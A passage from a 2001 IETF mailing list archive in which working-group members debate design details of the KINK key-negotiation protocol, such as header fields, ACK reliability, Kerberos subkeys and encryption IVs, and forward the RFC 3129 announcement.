you remove the flags field? It looks like you left the ACKREQ bit - why not just leave it as part of flags? --Matt At 03:18 PM 6/16/2001 -0700, Michael Thomas wrote: >In coding the current spec, I discovered that >there's an inconsistancy in the header. Namely, >the diagram shows the next payload as a short, but >the description shows it as a char. Since the >payloads all use a char next payload, I propose >that we fix this by changing the header around a >bit: > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > | Type | MjVer | MnVer | Length | > +---------------+---------------+---------------+---------------+ > | Domain of Interpretation (DOI) | > +-------------------------------+-------------------------------+ > | Transaction ID (XID) | > +---------------+---------------+-+-----------------------------+ > | CksumLen | NextPayload |A| Reserved | > +---------------+---------------+-+-----------------------------+ > | | > ~ Cksum ~ > | | > +-------------------------------+-------------------------------+ > | | > ~ A series of payloads ~ > | | > +-------------------------------+-------------------------------+ > >Note that NextPayload is where "flags" was before, and the ACKREQ >bit has just been moved to the top bit. I also just made the >rest of the bits reserved which actually reclaims another 7 bits. > >I've put this into the soon-to-be-issued -01 draft >unless there's strong sentiment against this... > > Mike From owner-ietf-kink Wed Jun 20 08:57:59 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f5KFvxo27857 for ietf-kink-bks; Wed, 20 Jun 2001 08:57:59 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f5KFvwk27852 for ; Wed, 20 Jun 2001 08:57:58 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f5KFw2N13932; Wed, 20 Jun 2001 08:58:02 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AIX22815; Wed, 20 Jun 2001 08:57:54 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA14495; Wed, 20 Jun 2001 08:57:54 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15152.51202.245065.31217@thomasm-u1.cisco.com> Date: Wed, 20 Jun 2001 08:57:54 -0700 (PDT) To: Matthew Hur Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: header inconsistancy In-Reply-To: <4.3.2.7.2.20010619212253.043af108@mira-sjc5-5.cisco.com> References: <15147.56092.288738.492289@thomasm-u1.cisco.com> <4.3.2.7.2.20010619212253.043af108@mira-sjc5-5.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Matthew Hur writes: > This sounds ok, but why did you remove the flags field? It looks like you > left the ACKREQ bit - why not just leave it as part of flags? None of the other flags were being used, so it seemed better to just consolidate all the reserved bits into one lump for future use. Mike > > --Matt > > > At 03:18 PM 6/16/2001 -0700, Michael Thomas wrote: > > > >In coding the current spec, I discovered that > >there's an inconsistancy in the header. Namely, > >the diagram shows the next payload as a short, but > >the description shows it as a char. Since the > >payloads all use a char next payload, I propose > >that we fix this by changing the header around a > >bit: > > > > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > | Type | MjVer | MnVer | Length | > > +---------------+---------------+---------------+---------------+ > > | Domain of Interpretation (DOI) | > > +-------------------------------+-------------------------------+ > > | Transaction ID (XID) | > > +---------------+---------------+-+-----------------------------+ > > | CksumLen | NextPayload |A| Reserved | > > +---------------+---------------+-+-----------------------------+ > > | | > > ~ Cksum ~ > > | | > > +-------------------------------+-------------------------------+ > > | | > > ~ A series of payloads ~ > > | | > > +-------------------------------+-------------------------------+ > > > >Note that NextPayload is where "flags" was before, and the ACKREQ > >bit has just been moved to the top bit. I also just made the > >rest of the bits reserved which actually reclaims another 7 bits. > > > >I've put this into the soon-to-be-issued -01 draft > >unless there's strong sentiment against this... > > > > Mike > From owner-ietf-kink Fri Jun 22 20:14:40 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f5N3Ee727203 for ietf-kink-bks; Fri, 22 Jun 2001 20:14:40 -0700 (PDT) Received: from [165.227.249.20] (ip20.proper.com [165.227.249.20]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f5N3Edk27199 for ; Fri, 22 Jun 2001 20:14:39 -0700 (PDT) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: Date: Fri, 22 Jun 2001 20:14:10 -0700 To: ietf-kink@vpnc.org From: Paul Hoffman / IMC Subject: Fwd: RFC 3129 on Requirements for KINK Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > >From owner-ietf-kink Fri Jun 22 11:46:37 2001 >Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) > by above.proper.com (8.11.3/8.11.3) with ESMTP id f5MIkak18205 > for ; Fri, 22 Jun 2001 11:46:36 -0700 (PDT) >Received: from ISI.EDU (jet.isi.edu [128.9.160.87]) > by boreas.isi.edu (8.11.2/8.11.2) with ESMTP id f5MIkWG20215; > Fri, 22 Jun 2001 11:46:32 -0700 (PDT) >Message-Id: <200106221846.f5MIkWG20215@boreas.isi.edu> >To: IETF-Announce: ; >Subject: RFC 3129 on Requirements for KINK >Cc: rfc-ed@ISI.EDU, ietf-kink@vpnc.org >Mime-Version: 1.0 >Content-Type: Multipart/Mixed; Boundary=NextPart >Date: Fri, 22 Jun 2001 11:46:32 -0700 >From: RFC Editor > > >--NextPart > > >A new Request for Comments is now available in online RFC libraries. > > > RFC 3129 > > Title: Requirements for Kerberized Internet Negotiation > of Keys > Author(s): M. Thomas > Status: Informational > Date: June 2001 > Mailbox: mat@cisco.com > Pages: 6 > Characters: 11401 > Updates/Obsoletes/SeeAlso: None > > I-D Tag: draft-ietf-kink-reqmt-03.txt > > URL: ftp://ftp.rfc-editor.org/in-notes/rfc3129.txt > > >The goal of this document is to produce a streamlined, fast, easily >managed, and cryptographically sound protocol without requiring public >key. > >This document is a product of the Kerberized Internet Negotiation of >Keys Working Group of the IETF. > >This memo provides information for the Internet community. It does >not specify an Internet standard of any kind. Distribution of this >memo is unlimited. > >This announcement is sent to the IETF list and the RFC-DIST list. >Requests to be added to or deleted from the IETF distribution list >should be sent to IETF-REQUEST@IETF.ORG. Requests to be >added to or deleted from the RFC-DIST distribution list should >be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG. > >Details on obtaining RFCs via FTP or EMAIL may be obtained by sending >an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body >help: ways_to_get_rfcs. For example: > > To: rfc-info@RFC-EDITOR.ORG > Subject: getting rfcs > > help: ways_to_get_rfcs > >Requests for special distribution should be addressed to either the >author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG. Unless >specifically noted otherwise on the RFC itself, all RFCs are for >unlimited distribution.echo >Submissions for Requests for Comments should be sent to >RFC-EDITOR@RFC-EDITOR.ORG. Please consult RFC 2223, Instructions to RFC >Authors, for further information. > > >Joyce K. Reynolds and Sandy Ginoza >USC/Information Sciences Institute > >... > >Below is the data which will enable a MIME compliant Mail Reader >implementation to automatically retrieve the ASCII version >of the RFCs. > >--NextPart >Content-Type: Multipart/Alternative; Boundary="OtherAccess" > >--OtherAccess >Content-Type: Message/External-body; > access-type="mail-server"; > server="RFC-INFO@RFC-EDITOR.ORG" > >Content-Type: text/plain >Content-ID: <010622114446.RFC@RFC-EDITOR.ORG> > >RETRIEVE: rfc >DOC-ID: rfc3129 > >--OtherAccess >Content-Type: Message/External-body; > name="rfc3129.txt"; > site="ftp.isi.edu"; > access-type="anon-ftp"; > directory="in-notes" > >Content-Type: text/plain >Content-ID: <010622114446.RFC@RFC-EDITOR.ORG> > >--OtherAccess-- >--NextPart-- --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-kink Sun Jul 1 07:22:29 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f61EMT115978 for ietf-kink-bks; Sun, 1 Jul 2001 07:22:29 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f61EMRm15974 for ; Sun, 1 Jul 2001 07:22:27 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id KAA11248; Sun, 1 Jul 2001 10:22:18 -0400 To: ietf-kink@vpnc.org Subject: KINK: Call for Presentations and Agenda Items in London From: Derek Atkins Date: 01 Jul 2001 10:22:17 -0400 Message-ID: Lines: 12 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: If you have any KINK issues that you would like to discuss, or a presentation about KINK that you would like to make, please send me mail to get onto the Agenda for London. Thanks, -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jul 5 16:41:46 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f65Nfk528047 for ietf-kink-bks; Thu, 5 Jul 2001 16:41:46 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f65Nfjm28043 for ; Thu, 5 Jul 2001 16:41:45 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f65Nfqx28463 for ; Thu, 5 Jul 2001 16:41:52 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAB04091; Thu, 5 Jul 2001 16:41:43 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA04674; Thu, 5 Jul 2001 16:41:42 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15172.64310.751181.58474@thomasm-u1.cisco.com> Date: Thu, 5 Jul 2001 16:41:42 -0700 (PDT) To: ietf-kink@vpnc.org Subject: KINK issues In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi all, In implementing the spec, I've found a few things thus far that are probably worth bringing up. I've not done any integration with IPsec yet, so that's still an open question as to how well that part of the (compromise) spec is holding up. 1) Errors: we have very few protocol level errors. I've noticed a lot of things which which should generate an error, but the only have KINK_PROTOERR, which is sort of a large hammer. At the very least, I think we ought to have an internal error which means: "I'm screwed up, not you". Keeping the unencrypted errors rather opaque may be considered a feature though, but it's going to make interop's somewhat harder. Maybe good loggers is sufficient though. 2) Currently there's no restriction on what the service principal's name is in the draft. I think we probably ought to make up one and make it a SHOULD. I don't see any reason why this should be a MUST though. How about of the form: ipsec/princ.com/@REALM.COM 3) We're not supporting K4, right? If not, we should probably be explicit in the draft. 4) In doing the KINK message checksum, I had a question of which keyblock to use for hash. In the MIT code, there's: auth_context->keyblock and several others, which I assume is the keyblock for the service key. I believe that this is the intent of the draft, but we should probably be specific if it's not already. 5) While doing the KINK_ENCRYPT Payload, I think I've got the proper etype, but the MIT encryption function (krb5_c_encrypt) has an optional IV. Unfortunately, the spec says nothing about IV's, and I suspect that this function is adding an 8 byte IV for me (des-cbc). Something needs to be done here, probably both in the draft and probably my code, and I'm open to suggestions. If the krb5_c_encrypt function is doing something really standard without an IV (sew me, I'm not a crypto d00d) maybe it will be sufficient to just add a few words about this. Also, the spec needs to make mention of the padding issues (see below). 6) Some of the issues around payload alignment were not clear. I've fixed them in the draft to make the headers always reflect the true size of the payload, but that when you add a new payload it MUST start on a .long boundary. There's only other payload which is screwy which is GetTGT Reply payload. Which has two variable length strings in it (realm, TGT). Should we extend the rule above, or should we try to be a little bit more space conscious since this only needs to be .align 2'd? What does IKE do in this situation? Mike From owner-ietf-kink Wed Jul 11 10:15:49 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6BHFnJ29624 for ietf-kink-bks; Wed, 11 Jul 2001 10:15:49 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6BHFmm29618 for ; Wed, 11 Jul 2001 10:15:48 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f6BHFr013070 for ; Wed, 11 Jul 2001 10:15:53 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAS02373; Wed, 11 Jul 2001 10:14:26 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA06368; Wed, 11 Jul 2001 10:14:26 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15180.35185.923220.220502@thomasm-u1.cisco.com> Date: Wed, 11 Jul 2001 10:14:25 -0700 (PDT) To: ietf-kink@vpnc.org Subject: ACK reliability X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The current draft defines an optional three-way handshake: 1) cmd---------------> 2) <-------------reply 3) [ack------------->] but doesn't say what to do if the respondent doesn't receive the final ack if it requests one. One possibility is that the respondent might retransmit its reply which would elicit an ACK response. The problem is that the initiator would normally want to retire the transaction in step 2 and wouldn't have the context around to retransmit the ACK (especially with a fresh ap_req). Since the ACK itself is not acknowledged, the initiator might be left needing to hold onto that state for quite some time, which seems pretty sub-optimal. After thinking about this for a while, it occurs to me that the final ACK is only used for the respondent to know when to (de)install the other half of the SA (incoming/outgoing depending on CREATE/DELETE). The draft also mentions that there should be a grace timer ala TCP to field the last bits and dregs of a DELETE'd SA. What I'd like to propose is we do the following: 1) Make ACK's explicitly *un*reliable 2) Require that the respondent use a retransmit length-ish timer to finalize the transaction in lieu of a received ACK The only downside here is that there's a very rare possibility that the respondent might send data on an SA where it chose a different payload than the optimistic payload *and* where the initiator dropped the REPLY and thus hadn't installed the correct SA parameters on the incoming SA. In other words, pretty far out into the weeds. Given the complexity of making reliable ACK's, I think that this is a worthwhile tradeoff. If I don't hear any strenuous objection, I'll fix this in the -01 draft. Mike From owner-ietf-kink Tue Jul 17 06:28:58 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6HDSwq08118 for ietf-kink-bks; Tue, 17 Jul 2001 06:28:58 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6HDStq08114 for ; Tue, 17 Jul 2001 06:28:56 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id JAA14648; Tue, 17 Jul 2001 09:28:49 -0400 To: ietf-kink@vpnc.org Subject: KINK Slot -- Agenda Items? From: Derek Atkins Date: 17 Jul 2001 09:28:49 -0400 Message-ID: Lines: 22 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here is our slot on Thursday in London. Please send me any agenda items for discussion. -derek THURSDAY, August 9, 2001 1300-1500 Afternoon Sessions I APP ldapext LDAP Extension WG INT idn Internationalized Domain Name WG INT l2tpext Layer Two Tunneling Protocol Extensions WG OPS hubmib Ethernet Interfaces and Hub MIB WG SEC kink Kerberized Internet Negotiation of Keys WG TSV & hip & Host Identity Payload BOF and APP geopriv Geographic Location/Privacy WG TSV mmusic Multiparty Multimedia Session Control WG -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Jul 17 08:53:48 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6HFrmN04260 for ietf-kink-bks; Tue, 17 Jul 2001 08:53:48 -0700 (PDT) Received: from dcl.mit.edu (DCL.MIT.EDU [18.18.1.70]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6HFrlq04252 for ; Tue, 17 Jul 2001 08:53:47 -0700 (PDT) Received: (from raeburn@localhost) by dcl.mit.edu (8.9.3) id LAA04617; Tue, 17 Jul 2001 11:53:42 -0400 (EDT) To: ietf-kink@vpnc.org Subject: Re: KINK issues References: <15172.64310.751181.58474@thomasm-u1.cisco.com> From: Ken Raeburn Date: 17 Jul 2001 11:53:42 -0400 In-Reply-To: <15172.64310.751181.58474@thomasm-u1.cisco.com> Message-ID: Lines: 80 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > 2) Currently there's no restriction on what the > service principal's name is in the draft. I > think we probably ought to make up one and > make it a SHOULD. I don't see any reason why > this should be a MUST though. How about of the form: > > ipsec/princ.com/@REALM.COM Nitpicking: The second slash indicates a three-component name, with the third component empty. You probably meant "ipsec/princ.com@REALM.COM"? (That still assumes you've got a hostname and not just an IP address.) I think SHOULD is probably the right level; use of another principal like host/foo could be negotiated by the host admins if the implementations permit. > 3) We're not supporting K4, right? If not, we > should probably be explicit in the draft. Discussing krb5 and failing to mention krb4 is probably sufficient, IMHO, but explicitly stating it wouldn't be a bad thing. > 4) In doing the KINK message checksum, I had a > question of which keyblock to use for hash. > In the MIT code, there's: > > auth_context->keyblock > > and several others, which I assume is the > keyblock for the service key. I believe that > this is the intent of the draft, but we should > probably be specific if it's not already. That would be the Kerberos "session key". Generally we recommend use of the "subsession key" (or "subkey") when appropriate (e.g., on a per-TCP-stream basis); different attempts at authentication using the same credentials can yield different subsession keys but only one session key. (Note that the terminology used in the Kerberos specs and documentation is not always consistent.) The draft does talk about putting stuff into the subkey field, and that stuff is not a key. (It's also underspecified -- what "keytype" value is used when passing around a nonce?) This strikes me as a poor idea, since in the existing Kerberos work, it is always a key. With this usage, an implementation cannot provide just an on/off flag for that field (yes, do generate a subkey with as much entropy as possible, or no, don't use any subkey), or that plus an enctype parameter, but instead must permit that field to be set arbitrarily under application control. I'm unclear on why the nonces are exchanged and key derivation done from them. Two subkeys can be sent. While three keys are generated (K0, K1, K2), the text only mentions using two of them. Why not simply use exchanged subkeys? If there's a problem with this, should it be addressed in Kerberos itself? > 5) While doing the KINK_ENCRYPT Payload, I think > I've got the proper etype, but the MIT encryption > function (krb5_c_encrypt) has an optional IV. > Unfortunately, the spec says nothing about > IV's, and I suspect that this function is > adding an 8 byte IV for me (des-cbc). > > Something needs to be done here, probably both > in the draft and probably my code, and I'm open > to suggestions. If the krb5_c_encrypt function > is doing something really standard without an > IV (sew me, I'm not a crypto d00d) maybe it > will be sufficient to just add a few words > about this. Also, the spec needs to make > mention of the padding issues (see below). I think a null pointer will do the right thing for the code, and something about "default initialization vector for the encryption algorithm" would be right for the spec. Ken From owner-ietf-kink Wed Jul 18 03:06:03 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6IA63W25341 for ietf-kink-bks; Wed, 18 Jul 2001 03:06:03 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6IA62q25337 for ; Wed, 18 Jul 2001 03:06:02 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f6IA5ae22345; Wed, 18 Jul 2001 03:05:36 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAB19941; Wed, 18 Jul 2001 03:05:26 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id DAA08435; Wed, 18 Jul 2001 03:05:26 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15189.24422.125056.477526@thomasm-u1.cisco.com> Date: Wed, 18 Jul 2001 03:05:26 -0700 (PDT) To: Ken Raeburn Cc: ietf-kink@vpnc.org Subject: Re: KINK issues In-Reply-To: References: <15172.64310.751181.58474@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ken Raeburn writes: > Michael Thomas writes: > > Nitpicking: The second slash indicates a three-component name, with > the third component empty. You probably meant > "ipsec/princ.com@REALM.COM"? (That still assumes you've got a > hostname and not just an IP address.) Yes, typo. > That would be the Kerberos "session key". Generally we recommend use > of the "subsession key" (or "subkey") when appropriate (e.g., on a > per-TCP-stream basis); different attempts at authentication using the > same credentials can yield different subsession keys but only one > session key. (Note that the terminology used in the Kerberos specs > and documentation is not always consistent.) Since the subsession key is not created by the KDC, and we have a mandate to use the entropy generated by the KDC when creating keying material, would the appropriate thing be to create a subkey based off of some one-way hash on the session key? See below too. > The draft does talk about putting stuff into the subkey field, and > that stuff is not a key. (It's also underspecified -- what "keytype" > value is used when passing around a nonce?) This strikes me as a poor > idea, since in the existing Kerberos work, it is always a key. This section has been changed to just use the IKE key derivation as was agreed last IETF. It currently states: "KINK uses the same key derivation mechanisms that [IKE] uses in section 5.5, which is: KEYMAT = prf(SKEYID_d, protocol | SPI | Ni_b [ | Nr_b]) The following differences apply: o SKEYID_d is the session key in the Kerberos service ticket from the AP-REQ. o Nr_b is optional By optional, it is meant that the equivalent of a zero length nonce was supplied." > I'm unclear on why the nonces are exchanged and key derivation done > from them. Two subkeys can be sent. While three keys are generated > (K0, K1, K2), the text only mentions using two of them. Why not > simply use exchanged subkeys? If there's a problem with this, should > it be addressed in Kerberos itself? I believe this is a carryover from IKE. We could either have used the Kerberos subkey mechanism, or the IKE nonce mechanism; the later was what was agreed to last IETF. I don't have a strong preference one way or the other. As far as three keys go, I believe that was an error in the initial draft which was trying to describe that B need not add its nonce. This behavior is still present, though the example has been nuked. In thinking about your comment above about subkeys, it seems that what's currently in the text: session key + IKE nonces is doing the same job as a subsession key which is derived in part from the session key. a) do you agree, and b) is that OK? > > Something needs to be done here, probably both > > in the draft and probably my code, and I'm open > > to suggestions. If the krb5_c_encrypt function > > is doing something really standard without an > > IV (sew me, I'm not a crypto d00d) maybe it > > will be sufficient to just add a few words > > about this. Also, the spec needs to make > > mention of the padding issues (see below). > > I think a null pointer will do the right thing for the code, and > something about "default initialization vector for the encryption > algorithm" would be right for the spec. I haven't actually looked at the lower layer crypto code, but is that clear enough? I know that would confuse me as to what the default initialization vector would be, but I may not be the best RFC crash dummy here. Mike From owner-ietf-kink Wed Jul 18 14:45:25 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6ILjPD16531 for ietf-kink-bks; Wed, 18 Jul 2001 14:45:25 -0700 (PDT) Received: from dcl.mit.edu (DCL.MIT.EDU [18.18.1.70]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6ILjNq16521 for ; Wed, 18 Jul 2001 14:45:23 -0700 (PDT) Received: (from raeburn@localhost) by dcl.mit.edu (8.9.3) id RAA09429; Wed, 18 Jul 2001 17:45:22 -0400 (EDT) To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: KINK issues References: <15172.64310.751181.58474@thomasm-u1.cisco.com> <15189.24422.125056.477526@thomasm-u1.cisco.com> From: Ken Raeburn Date: 18 Jul 2001 17:45:22 -0400 In-Reply-To: <15189.24422.125056.477526@thomasm-u1.cisco.com> Message-ID: Lines: 72 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > Since the subsession key is not created by the KDC, and > we have a mandate to use the entropy generated by the KDC > when creating keying material, would the appropriate thing > be to create a subkey based off of some one-way hash on > the session key? See below too. Maybe. The problem, as I see it, is that subkey generation should be, IMNSHO, done by the Kerberos implementation and treated as a black box by the application protocols (aside from probably getting to choose the key type). That certainly isn't explicit in the Kerberos docs (since they're all about the protocol), and other Kerberos folks may well disagree with me on that. So basically, the entropy handling is a quality-of-implementation issue, and an implementation that didn't use the session key in the subkey generation would, well, suck. :-) IIRC, the Kerberos docs actually leave it up to the application protocol spec to indicate how the session key and subkeys get used. So providing real honest-to-goodness keys produced by implementation-defined means (Kerberos library, random nonce generation, whatever), and feeding them *and* the session key into the key generation code, instead of using the subkeys directly, would work fine. But with such an approach you wouldn't get the fine control over the actual bits that you rely on in the current draft. > In thinking about your comment above about > subkeys, it seems that what's currently in > the text: session key + IKE nonces is doing > the same job as a subsession key which is > derived in part from the session key. a) do > you agree, and b) is that OK? I thought about that a bit too, and it does seem to be doing the same job. What I dislike is (a) having the subkey field sometimes contain a key, sometimes something else that's underspecified in some ways, and (b) specifying that "something else" with such precision that the subkey handling has to be exposed to the application layer. I'd be happier if we had (a) a spec for passing around keying material in the subkey field and producing usable keys (of what type?) from it, that any application protocol writer could use without identifying the relevant pieces of the KINK application protocol, and (b) a KINK spec that said "use foo subkey generation technique". The KINK approach seems to be "don't require anything new of the Kerberos folks, we'll build on what they've done", but some of the ideas being kicked around -- exchanging subkey generation material, incorporating PFS -- are building blocks others could use as well, so I think bundling it all into one application protocol spec is also not necessarily the best approach. Having separate specs for such things also means it's easier for implementors to provide these extra building blocks to application writers. > > I think a null pointer will do the right thing for the code, and > > something about "default initialization vector for the encryption > > algorithm" would be right for the spec. > I haven't actually looked at the lower layer > crypto code, but is that clear enough? I know > that would confuse me as to what the default > initialization vector would be, but I may not > be the best RFC crash dummy here. In general the Kerberos text doesn't talk much about initial vectors etc, so any such extra parameters needed by an encryption algorithm have to have default values described as part of their specs. In kerberos-revisions, it's a slightly more abstracted and opaque "cipher state", which can either be initialized or carried over from a previous operation, though I think in fact we never do the latter; it can't be set explicitly. In RFC 1510, there was at least one place where IV chaining could be done if specified by the application protocol (and I don't think it was clear whether it could be *set* to some specified value), though that's been removed in kerberos-revisions. From owner-ietf-kink Wed Jul 18 16:17:44 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6INHiL19349 for ietf-kink-bks; Wed, 18 Jul 2001 16:17:44 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6INHhq19345 for ; Wed, 18 Jul 2001 16:17:43 -0700 (PDT) Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f6INHd610445; Wed, 18 Jul 2001 16:17:40 -0700 (PDT) Received: from jtrostle-nt2 (dhcp-128-107-141-125.cisco.com [128.107.141.125]) by mira-sjc5-1.cisco.com (Mirapoint) with SMTP id ABE89535; Wed, 18 Jul 2001 16:17:36 